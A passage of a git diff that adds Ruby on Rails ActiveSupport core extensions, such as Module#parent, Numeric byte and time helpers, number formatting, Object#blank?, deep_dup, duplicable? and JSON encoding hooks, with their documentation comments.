+class Module
+  # Returns the name of the module containing this one.
+  #
+  #   M::N.parent_name # => "M"
+  def parent_name
+    if defined?(@parent_name)
+      @parent_name
+    else
+      parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
+      @parent_name = parent_name unless frozen?
+      parent_name
+    end
+  end
+
+  # Returns the module which contains this one according to its name.
+  #
+  #   module M
+  #     module N
+  #     end
+  #   end
+  #   X = M::N
+  #
+  #   M::N.parent # => M
+  #   X.parent    # => M
+  #
+  # The parent of top-level and anonymous modules is Object.
+  #
+  #   M.parent          # => Object
+  #   Module.new.parent # => Object
+  def parent
+    parent_name ? ActiveSupport::Inflector.constantize(parent_name) : Object
+  end
+
+  # Returns all the parents of this module according to its name, ordered from
+  # nested outwards. The receiver is not contained within the result.
+  #
+  #   module M
+  #     module N
+  #     end
+  #   end
+  #   X = M::N
+  #
+  #   M.parents    # => [Object]
+  #   M::N.parents # => [M, Object]
+  #   X.parents    # => [M, Object]
+  def parents
+    parents = []
+    if parent_name
+      parts = parent_name.split("::")
+      until parts.empty?
+        parents << ActiveSupport::Inflector.constantize(parts * "::")
+        parts.pop
+      end
+    end
+    parents << Object unless parents.include? Object
+    parents
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb
new file mode 100644
index 0000000000..91b230b46c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/reachable.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "anonymous"
+require_relative "../string/inflections"
+
+class Module
+  def reachable? #:nodoc:
+    !anonymous? && name.safe_constantize.equal?(self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
new file mode 100644
index 0000000000..bf0d686e16
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class Module
+  # Removes the named method, if it exists.
+  def remove_possible_method(method)
+    if method_defined?(method) || private_method_defined?(method)
+      undef_method(method)
+    end
+  end
+
+  # Removes the named singleton method, if it exists.
+  def remove_possible_singleton_method(method)
+    singleton_class.instance_eval do
+      remove_possible_method(method)
+    end
+  end
+
+  # Replaces the existing method definition, if there is one, with the passed
+  # block as its body.
+  def redefine_method(method, &block)
+    visibility = method_visibility(method)
+    remove_possible_method(method)
+    define_method(method, &block)
+    send(visibility, method)
+  end
+
+  def method_visibility(method) # :nodoc:
+    case
+    when private_method_defined?(method)
+      :private
+    when protected_method_defined?(method)
+      :protected
+    else
+      :public
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/name_error.rb b/activesupport/lib/active_support/core_ext/name_error.rb
new file mode 100644
index 0000000000..d4f1e01140
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/name_error.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class NameError
+  # Extract the name of the missing constant from the exception message.
+  #
+  #   begin
+  #     HelloWorld
+  #   rescue NameError => e
+  #     e.missing_name
+  #   end
+  #   # => "HelloWorld"
+  def missing_name
+    if /undefined local variable or method/ !~ message
+      $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
+    end
+  end
+
+  # Was this exception raised because the given name was missing?
+  #
+  #   begin
+  #     HelloWorld
+  #   rescue NameError => e
+  #     e.missing_name?("HelloWorld")
+  #   end
+  #   # => true
+  def missing_name?(name)
+    if name.is_a? Symbol
+      self.name == name
+    else
+      missing_name == name.to_s
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric.rb b/activesupport/lib/active_support/core_ext/numeric.rb
new file mode 100644
index 0000000000..76e33a7cb0
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "numeric/bytes"
+require_relative "numeric/time"
+require_relative "numeric/inquiry"
+require_relative "numeric/conversions"
diff --git a/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
new file mode 100644
index 0000000000..b002eba406
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/bytes.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+class Numeric
+  KILOBYTE = 1024
+  MEGABYTE = KILOBYTE * 1024
+  GIGABYTE = MEGABYTE * 1024
+  TERABYTE = GIGABYTE * 1024
+  PETABYTE = TERABYTE * 1024
+  EXABYTE  = PETABYTE * 1024
+
+  # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
+  #
+  #   2.bytes # => 2
+  def bytes
+    self
+  end
+  alias :byte :bytes
+
+  # Returns the number of bytes equivalent to the kilobytes provided.
+  #
+  #   2.kilobytes # => 2048
+  def kilobytes
+    self * KILOBYTE
+  end
+  alias :kilobyte :kilobytes
+
+  # Returns the number of bytes equivalent to the megabytes provided.
+  #
+  #   2.megabytes # => 2_097_152
+  def megabytes
+    self * MEGABYTE
+  end
+  alias :megabyte :megabytes
+
+  # Returns the number of bytes equivalent to the gigabytes provided.
+  #
+  #   2.gigabytes # => 2_147_483_648
+  def gigabytes
+    self * GIGABYTE
+  end
+  alias :gigabyte :gigabytes
+
+  # Returns the number of bytes equivalent to the terabytes provided.
+  #
+  #   2.terabytes # => 2_199_023_255_552
+  def terabytes
+    self * TERABYTE
+  end
+  alias :terabyte :terabytes
+
+  # Returns the number of bytes equivalent to the petabytes provided.
+  #
+  #   2.petabytes # => 2_251_799_813_685_248
+  def petabytes
+    self * PETABYTE
+  end
+  alias :petabyte :petabytes
+
+  # Returns the number of bytes equivalent to the exabytes provided.
+  #
+  #   2.exabytes # => 2_305_843_009_213_693_952
+  def exabytes
+    self * EXABYTE
+  end
+  alias :exabyte :exabytes
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
new file mode 100644
index 0000000000..05528f5069
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+require_relative "../big_decimal/conversions"
+require_relative "../../number_helper"
+require_relative "../module/deprecation"
+
+module ActiveSupport::NumericWithFormat
+  # Provides options for converting numbers into formatted strings.
+  # Options are provided for phone numbers, currency, percentage,
+  # precision, positional notation, file size and pretty printing.
+  #
+  # ==== Options
+  #
+  # For details on which formats use which options, see ActiveSupport::NumberHelper
+  #
+  # ==== Examples
+  #
+  #  Phone Numbers:
+  #  5551234.to_s(:phone)                                     # => "555-1234"
+  #  1235551234.to_s(:phone)                                  # => "123-555-1234"
+  #  1235551234.to_s(:phone, area_code: true)                 # => "(123) 555-1234"
+  #  1235551234.to_s(:phone, delimiter: ' ')                  # => "123 555 1234"
+  #  1235551234.to_s(:phone, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
+  #  1235551234.to_s(:phone, country_code: 1)                 # => "+1-123-555-1234"
+  #  1235551234.to_s(:phone, country_code: 1, extension: 1343, delimiter: '.')
+  #  # => "+1.123.555.1234 x 1343"
+  #
+  #  Currency:
+  #  1234567890.50.to_s(:currency)                 # => "$1,234,567,890.50"
+  #  1234567890.506.to_s(:currency)                # => "$1,234,567,890.51"
+  #  1234567890.506.to_s(:currency, precision: 3)  # => "$1,234,567,890.506"
+  #  1234567890.506.to_s(:currency, locale: :fr)   # => "1 234 567 890,51 €"
+  #  -1234567890.50.to_s(:currency, negative_format: '(%u%n)')
+  #  # => "($1,234,567,890.50)"
+  #  1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '')
+  #  # => "&pound;1234567890,50"
+  #  1234567890.50.to_s(:currency, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
+  #  # => "1234567890,50 &pound;"
+  #
+  #  Percentage:
+  #  100.to_s(:percentage)                                  # => "100.000%"
+  #  100.to_s(:percentage, precision: 0)                    # => "100%"
+  #  1000.to_s(:percentage, delimiter: '.', separator: ',') # => "1.000,000%"
+  #  302.24398923423.to_s(:percentage, precision: 5)        # => "302.24399%"
+  #  1000.to_s(:percentage, locale: :fr)                    # => "1 000,000%"
+  #  100.to_s(:percentage, format: '%n  %')                 # => "100.000  %"
+  #
+  #  Delimited:
+  #  12345678.to_s(:delimited)                     # => "12,345,678"
+  #  12345678.05.to_s(:delimited)                  # => "12,345,678.05"
+  #  12345678.to_s(:delimited, delimiter: '.')     # => "12.345.678"
+  #  12345678.to_s(:delimited, delimiter: ',')     # => "12,345,678"
+  #  12345678.05.to_s(:delimited, separator: ' ')  # => "12,345,678 05"
+  #  12345678.05.to_s(:delimited, locale: :fr)     # => "12 345 678,05"
+  #  98765432.98.to_s(:delimited, delimiter: ' ', separator: ',')
+  #  # => "98 765 432,98"
+  #
+  #  Rounded:
+  #  111.2345.to_s(:rounded)                                      # => "111.235"
+  #  111.2345.to_s(:rounded, precision: 2)                        # => "111.23"
+  #  13.to_s(:rounded, precision: 5)                              # => "13.00000"
+  #  389.32314.to_s(:rounded, precision: 0)                       # => "389"
+  #  111.2345.to_s(:rounded, significant: true)                   # => "111"
+  #  111.2345.to_s(:rounded, precision: 1, significant: true)     # => "100"
+  #  13.to_s(:rounded, precision: 5, significant: true)           # => "13.000"
+  #  111.234.to_s(:rounded, locale: :fr)                          # => "111,234"
+  #  13.to_s(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true)
+  #  # => "13"
+  #  389.32314.to_s(:rounded, precision: 4, significant: true)    # => "389.3"
+  #  1111.2345.to_s(:rounded, precision: 2, separator: ',', delimiter: '.')
+  #  # => "1.111,23"
+  #
+  #  Human-friendly size in Bytes:
+  #  123.to_s(:human_size)                                   # => "123 Bytes"
+  #  1234.to_s(:human_size)                                  # => "1.21 KB"
+  #  12345.to_s(:human_size)                                 # => "12.1 KB"
+  #  1234567.to_s(:human_size)                               # => "1.18 MB"
+  #  1234567890.to_s(:human_size)                            # => "1.15 GB"
+  #  1234567890123.to_s(:human_size)                         # => "1.12 TB"
+  #  1234567890123456.to_s(:human_size)                      # => "1.1 PB"
+  #  1234567890123456789.to_s(:human_size)                   # => "1.07 EB"
+  #  1234567.to_s(:human_size, precision: 2)                 # => "1.2 MB"
+  #  483989.to_s(:human_size, precision: 2)                  # => "470 KB"
+  #  1234567.to_s(:human_size, precision: 2, separator: ',') # => "1,2 MB"
+  #  1234567890123.to_s(:human_size, precision: 5)           # => "1.1228 TB"
+  #  524288000.to_s(:human_size, precision: 5)               # => "500 MB"
+  #
+  #  Human-friendly format:
+  #  123.to_s(:human)                                       # => "123"
+  #  1234.to_s(:human)                                      # => "1.23 Thousand"
+  #  12345.to_s(:human)                                     # => "12.3 Thousand"
+  #  1234567.to_s(:human)                                   # => "1.23 Million"
+  #  1234567890.to_s(:human)                                # => "1.23 Billion"
+  #  1234567890123.to_s(:human)                             # => "1.23 Trillion"
+  #  1234567890123456.to_s(:human)                          # => "1.23 Quadrillion"
+  #  1234567890123456789.to_s(:human)                       # => "1230 Quadrillion"
+  #  489939.to_s(:human, precision: 2)                      # => "490 Thousand"
+  #  489939.to_s(:human, precision: 4)                      # => "489.9 Thousand"
+  #  1234567.to_s(:human, precision: 4,
+  #                   significant: false)                   # => "1.2346 Million"
+  #  1234567.to_s(:human, precision: 1,
+  #                   separator: ',',
+  #                   significant: false)                   # => "1,2 Million"
+  def to_s(format = nil, options = nil)
+    case format
+    when nil
+      super()
+    when Integer, String
+      super(format)
+    when :phone
+      return ActiveSupport::NumberHelper.number_to_phone(self, options || {})
+    when :currency
+      return ActiveSupport::NumberHelper.number_to_currency(self, options || {})
+    when :percentage
+      return ActiveSupport::NumberHelper.number_to_percentage(self, options || {})
+    when :delimited
+      return ActiveSupport::NumberHelper.number_to_delimited(self, options || {})
+    when :rounded
+      return ActiveSupport::NumberHelper.number_to_rounded(self, options || {})
+    when :human
+      return ActiveSupport::NumberHelper.number_to_human(self, options || {})
+    when :human_size
+      return ActiveSupport::NumberHelper.number_to_human_size(self, options || {})
+    when Symbol
+      super()
+    else
+      super(format)
+    end
+  end
+end
+
+# Ruby 2.4+ unifies Fixnum & Bignum into Integer.
+if 0.class == Integer
+  Integer.prepend ActiveSupport::NumericWithFormat
+else
+  Fixnum.prepend ActiveSupport::NumericWithFormat
+  Bignum.prepend ActiveSupport::NumericWithFormat
+end
+Float.prepend ActiveSupport::NumericWithFormat
+BigDecimal.prepend ActiveSupport::NumericWithFormat
diff --git a/activesupport/lib/active_support/core_ext/numeric/inquiry.rb b/activesupport/lib/active_support/core_ext/numeric/inquiry.rb
new file mode 100644
index 0000000000..15334c91f1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/inquiry.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+unless 1.respond_to?(:positive?) # TODO: Remove this file when we drop support to ruby < 2.3
+  class Numeric
+    # Returns true if the number is positive.
+    #
+    #   1.positive?  # => true
+    #   0.positive?  # => false
+    #   -1.positive? # => false
+    def positive?
+      self > 0
+    end
+
+    # Returns true if the number is negative.
+    #
+    #   -1.negative? # => true
+    #   0.negative?  # => false
+    #   1.negative?  # => false
+    def negative?
+      self < 0
+    end
+  end
+
+  class Complex
+    undef :positive?
+    undef :negative?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
new file mode 100644
index 0000000000..0cee87cb86
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require_relative "../../duration"
+require_relative "../time/calculations"
+require_relative "../time/acts_like"
+require_relative "../date/calculations"
+require_relative "../date/acts_like"
+
+class Numeric
+  # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
+  #
+  # These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+  # as well as adding or subtracting their results from a Time object. For example:
+  #
+  #   # equivalent to Time.current.advance(months: 1)
+  #   1.month.from_now
+  #
+  #   # equivalent to Time.current.advance(years: 2)
+  #   2.years.from_now
+  #
+  #   # equivalent to Time.current.advance(months: 4, years: 5)
+  #   (4.months + 5.years).from_now
+  def seconds
+    ActiveSupport::Duration.seconds(self)
+  end
+  alias :second :seconds
+
+  # Returns a Duration instance matching the number of minutes provided.
+  #
+  #   2.minutes # => 2 minutes
+  def minutes
+    ActiveSupport::Duration.minutes(self)
+  end
+  alias :minute :minutes
+
+  # Returns a Duration instance matching the number of hours provided.
+  #
+  #   2.hours # => 2 hours
+  def hours
+    ActiveSupport::Duration.hours(self)
+  end
+  alias :hour :hours
+
+  # Returns a Duration instance matching the number of days provided.
+  #
+  #   2.days # => 2 days
+  def days
+    ActiveSupport::Duration.days(self)
+  end
+  alias :day :days
+
+  # Returns a Duration instance matching the number of weeks provided.
+  #
+  #   2.weeks # => 2 weeks
+  def weeks
+    ActiveSupport::Duration.weeks(self)
+  end
+  alias :week :weeks
+
+  # Returns a Duration instance matching the number of fortnights provided.
+  #
+  #   2.fortnights # => 4 weeks
+  def fortnights
+    ActiveSupport::Duration.weeks(self * 2)
+  end
+  alias :fortnight :fortnights
+
+  # Returns the number of milliseconds equivalent to the seconds provided.
+  # Used with the standard time durations, like 1.hour.in_milliseconds --
+  # so we can feed them to JavaScript functions like getTime().
+  #
+  #   2.in_milliseconds # => 2_000
+  def in_milliseconds
+    self * 1000
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
new file mode 100644
index 0000000000..23f5eec8c7
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "object/acts_like"
+require_relative "object/blank"
+require_relative "object/duplicable"
+require_relative "object/deep_dup"
+require_relative "object/try"
+require_relative "object/inclusion"
+
+require_relative "object/conversions"
+require_relative "object/instance_variables"
+
+require_relative "object/json"
+require_relative "object/to_param"
+require_relative "object/to_query"
+require_relative "object/with_options"
diff --git a/activesupport/lib/active_support/core_ext/object/acts_like.rb b/activesupport/lib/active_support/core_ext/object/acts_like.rb
new file mode 100644
index 0000000000..2eb72f6b3a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/acts_like.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Object
+  # A duck-type assistant method. For example, Active Support extends Date
+  # to define an <tt>acts_like_date?</tt> method, and extends Time to define
+  # <tt>acts_like_time?</tt>. As a result, we can do <tt>x.acts_like?(:time)</tt> and
+  # <tt>x.acts_like?(:date)</tt> to do duck-type-safe comparisons, since classes that
+  # we want to act like Time simply need to define an <tt>acts_like_time?</tt> method.
+  def acts_like?(duck)
+    respond_to? :"acts_like_#{duck}?"
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
new file mode 100644
index 0000000000..397adbdb5a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -0,0 +1,147 @@
+# frozen_string_literal: true
+
+require_relative "../regexp"
+
+class Object
+  # An object is blank if it's false, empty, or a whitespace string.
+  # For example, +false+, '', '   ', +nil+, [], and {} are all blank.
+  #
+  # This simplifies
+  #
+  #   !address || address.empty?
+  #
+  # to
+  #
+  #   address.blank?
+  #
+  # @return [true, false]
+  def blank?
+    respond_to?(:empty?) ? !!empty? : !self
+  end
+
+  # An object is present if it's not blank.
+  #
+  # @return [true, false]
+  def present?
+    !blank?
+  end
+
+  # Returns the receiver if it's present otherwise returns +nil+.
+  # <tt>object.presence</tt> is equivalent to
+  #
+  #    object.present? ? object : nil
+  #
+  # For example, something like
+  #
+  #   state   = params[:state]   if params[:state].present?
+  #   country = params[:country] if params[:country].present?
+  #   region  = state || country || 'US'
+  #
+  # becomes
+  #
+  #   region = params[:state].presence || params[:country].presence || 'US'
+  #
+  # @return [Object]
+  def presence
+    self if present?
+  end
+end
+
+class NilClass
+  # +nil+ is blank:
+  #
+  #   nil.blank? # => true
+  #
+  # @return [true]
+  def blank?
+    true
+  end
+end
+
+class FalseClass
+  # +false+ is blank:
+  #
+  #   false.blank? # => true
+  #
+  # @return [true]
+  def blank?
+    true
+  end
+end
+
+class TrueClass
+  # +true+ is not blank:
+  #
+  #   true.blank? # => false
+  #
+  # @return [false]
+  def blank?
+    false
+  end
+end
+
+class Array
+  # An array is blank if it's empty:
+  #
+  #   [].blank?      # => true
+  #   [1,2,3].blank? # => false
+  #
+  # @return [true, false]
+  alias_method :blank?, :empty?
+end
+
+class Hash
+  # A hash is blank if it's empty:
+  #
+  #   {}.blank?                # => true
+  #   { key: 'value' }.blank?  # => false
+  #
+  # @return [true, false]
+  alias_method :blank?, :empty?
+end
+
+class String
+  BLANK_RE = /\A[[:space:]]*\z/
+
+  # A string is blank if it's empty or contains whitespaces only:
+  #
+  #   ''.blank?       # => true
+  #   '   '.blank?    # => true
+  #   "\t\n\r".blank? # => true
+  #   ' blah '.blank? # => false
+  #
+  # Unicode whitespace is supported:
+  #
+  #   "\u00a0".blank? # => true
+  #
+  # @return [true, false]
+  def blank?
+    # The regexp that matches blank strings is expensive. For the case of empty
+    # strings we can speed up this method (~3.5x) with an empty? call. The
+    # penalty for the rest of strings is marginal.
+    empty? || BLANK_RE.match?(self)
+  end
+end
+
+class Numeric #:nodoc:
+  # No number is blank:
+  #
+  #   1.blank? # => false
+  #   0.blank? # => false
+  #
+  # @return [false]
+  def blank?
+    false
+  end
+end
+
+class Time #:nodoc:
+  # No Time is blank:
+  #
+  #   Time.now.blank? # => false
+  #
+  # @return [false]
+  def blank?
+    false
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/conversions.rb b/activesupport/lib/active_support/core_ext/object/conversions.rb
new file mode 100644
index 0000000000..fdc154188a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/conversions.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "to_param"
+require_relative "to_query"
+require_relative "../array/conversions"
+require_relative "../hash/conversions"
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
new file mode 100644
index 0000000000..4021b15de6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require_relative "duplicable"
+
+class Object
+  # Returns a deep copy of object if it's duplicable. If it's
+  # not duplicable, returns +self+.
+  #
+  #   object = Object.new
+  #   dup    = object.deep_dup
+  #   dup.instance_variable_set(:@a, 1)
+  #
+  #   object.instance_variable_defined?(:@a) # => false
+  #   dup.instance_variable_defined?(:@a)    # => true
+  def deep_dup
+    duplicable? ? dup : self
+  end
+end
+
+class Array
+  # Returns a deep copy of array.
+  #
+  #   array = [1, [2, 3]]
+  #   dup   = array.deep_dup
+  #   dup[1][2] = 4
+  #
+  #   array[1][2] # => nil
+  #   dup[1][2]   # => 4
+  def deep_dup
+    map(&:deep_dup)
+  end
+end
+
+class Hash
+  # Returns a deep copy of hash.
+  #
+  #   hash = { a: { b: 'b' } }
+  #   dup  = hash.deep_dup
+  #   dup[:a][:c] = 'c'
+  #
+  #   hash[:a][:c] # => nil
+  #   dup[:a][:c]  # => "c"
+  def deep_dup
+    hash = dup
+    each_pair do |key, value|
+      if key.frozen? && ::String === key
+        hash[key] = value.deep_dup
+      else
+        hash.delete(key)
+        hash[key.deep_dup] = value.deep_dup
+      end
+    end
+    hash
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
new file mode 100644
index 0000000000..1744a44df6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -0,0 +1,156 @@
+# frozen_string_literal: true
+
+#--
+# Most objects are cloneable, but not all. For example you can't dup methods:
+#
+#   method(:puts).dup # => TypeError: allocator undefined for Method
+#
+# Classes may signal their instances are not duplicable removing +dup+/+clone+
+# or raising exceptions from them. So, to dup an arbitrary object you normally
+# use an optimistic approach and are ready to catch an exception, say:
+#
+#   arbitrary_object.dup rescue object
+#
+# Rails dups objects in a few critical spots where they are not that arbitrary.
+# That rescue is very expensive (like 40 times slower than a predicate), and it
+# is often triggered.
+#
+# That's why we hardcode the following cases and check duplicable? instead of
+# using that rescue idiom.
+#++
+class Object
+  # Can you safely dup this object?
+  #
+  # False for method objects;
+  # true otherwise.
+  def duplicable?
+    true
+  end
+end
+
+class NilClass
+  begin
+    nil.dup
+  rescue TypeError
+
+    # +nil+ is not duplicable:
+    #
+    #   nil.duplicable? # => false
+    #   nil.dup         # => TypeError: can't dup NilClass
+    def duplicable?
+      false
+    end
+  end
+end
+
+class FalseClass
+  begin
+    false.dup
+  rescue TypeError
+
+    # +false+ is not duplicable:
+    #
+    #   false.duplicable? # => false
+    #   false.dup         # => TypeError: can't dup FalseClass
+    def duplicable?
+      false
+    end
+  end
+end
+
+class TrueClass
+  begin
+    true.dup
+  rescue TypeError
+
+    # +true+ is not duplicable:
+    #
+    #   true.duplicable? # => false
+    #   true.dup         # => TypeError: can't dup TrueClass
+    def duplicable?
+      false
+    end
+  end
+end
+
+class Symbol
+  begin
+    :symbol.dup # Ruby 2.4.x.
+    "symbol_from_string".to_sym.dup # Some symbols can't `dup` in Ruby 2.4.0.
+  rescue TypeError
+
+    # Symbols are not duplicable:
+    #
+    #   :my_symbol.duplicable? # => false
+    #   :my_symbol.dup         # => TypeError: can't dup Symbol
+    def duplicable?
+      false
+    end
+  end
+end
+
+class Numeric
+  begin
+    1.dup
+  rescue TypeError
+
+    # Numbers are not duplicable:
+    #
+    #  3.duplicable? # => false
+    #  3.dup         # => TypeError: can't dup Integer
+    def duplicable?
+      false
+    end
+  end
+end
+
+require "bigdecimal"
+class BigDecimal
+  # BigDecimals are duplicable:
+  #
+  #   BigDecimal.new("1.2").duplicable? # => true
+  #   BigDecimal.new("1.2").dup         # => #<BigDecimal:...,'0.12E1',18(18)>
+  def duplicable?
+    true
+  end
+end
+
+class Method
+  # Methods are not duplicable:
+  #
+  #  method(:puts).duplicable? # => false
+  #  method(:puts).dup         # => TypeError: allocator undefined for Method
+  def duplicable?
+    false
+  end
+end
+
+class Complex
+  begin
+    Complex(1).dup
+  rescue TypeError
+
+    # Complexes are not duplicable:
+    #
+    #   Complex(1).duplicable? # => false
+    #   Complex(1).dup         # => TypeError: can't copy Complex
+    def duplicable?
+      false
+    end
+  end
+end
+
+class Rational
+  begin
+    Rational(1).dup
+  rescue TypeError
+
+    # Rationals are not duplicable:
+    #
+    #   Rational(1).duplicable? # => false
+    #   Rational(1).dup         # => TypeError: can't copy Rational
+    def duplicable?
+      false
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
new file mode 100644
index 0000000000..6064e92f20
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class Object
+  # Returns true if this object is included in the argument. Argument must be
+  # any object which responds to +#include?+. Usage:
+  #
+  #   characters = ["Konata", "Kagami", "Tsukasa"]
+  #   "Konata".in?(characters) # => true
+  #
+  # This will throw an +ArgumentError+ if the argument doesn't respond
+  # to +#include?+.
+  def in?(another_object)
+    another_object.include?(self)
+  rescue NoMethodError
+    raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+  end
+
+  # Returns the receiver if it's included in the argument otherwise returns +nil+.
+  # Argument must be any object which responds to +#include?+. Usage:
+  #
+  #   params[:bucket_type].presence_in %w( project calendar )
+  #
+  # This will throw an +ArgumentError+ if the argument doesn't respond to +#include?+.
+  #
+  # @return [Object]
+  def presence_in(another_object)
+    in?(another_object) ? self : nil
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
new file mode 100644
index 0000000000..12fdf840b5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class Object
+  # Returns a hash with string keys that maps instance variable names without "@" to their
+  # corresponding values.
+  #
+  #   class C
+  #     def initialize(x, y)
+  #       @x, @y = x, y
+  #     end
+  #   end
+  #
+  #   C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+  def instance_values
+    Hash[instance_variables.map { |name| [name[1..-1], instance_variable_get(name)] }]
+  end
+
+  # Returns an array of instance variable names as strings including "@".
+  #
+  #   class C
+  #     def initialize(x, y)
+  #       @x, @y = x, y
+  #     end
+  #   end
+  #
+  #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+  def instance_variable_names
+    instance_variables.map(&:to_s)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
new file mode 100644
index 0000000000..30495313d2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -0,0 +1,221 @@
+# frozen_string_literal: true
+
+# Hack to load json gem first so we can overwrite its to_json.
+require "json"
+require "bigdecimal"
+require "uri/generic"
+require "pathname"
+require_relative "../big_decimal/conversions" # for #to_s
+require_relative "../hash/except"
+require_relative "../hash/slice"
+require_relative "instance_variables"
+require "time"
+require_relative "../time/conversions"
+require_relative "../date_time/conversions"
+require_relative "../date/conversions"
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+#
+# On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
+# JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
+# passes a ::JSON::State object as the only argument to to_json, we can detect that and forward the
+# calls to the original to_json method.
+#
+# It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
+# bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
+# ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
+# should give exactly the same results with or without active support.
+
+module ActiveSupport
+  module ToJsonWithActiveSupportEncoder # :nodoc:
+    def to_json(options = nil)
+      if options.is_a?(::JSON::State)
+        # Called from JSON.{generate,dump}, forward it to JSON gem's to_json
+        super(options)
+      else
+        # to_json is being invoked directly, use ActiveSupport's encoder
+        ActiveSupport::JSON.encode(self, options)
+      end
+    end
+  end
+end
+
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].reverse_each do |klass|
+  klass.prepend(ActiveSupport::ToJsonWithActiveSupportEncoder)
+end
+
+class Object
+  def as_json(options = nil) #:nodoc:
+    if respond_to?(:to_hash)
+      to_hash.as_json(options)
+    else
+      instance_values.as_json(options)
+    end
+  end
+end
+
+class Struct #:nodoc:
+  def as_json(options = nil)
+    Hash[members.zip(values)].as_json(options)
+  end
+end
+
+class TrueClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class FalseClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class NilClass
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class String
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Symbol
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Numeric
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+end
+
+class Float
+  # Encoding Infinity or NaN to JSON should return "null". The default returns
+  # "Infinity" or "NaN" which are not valid JSON.
+  def as_json(options = nil) #:nodoc:
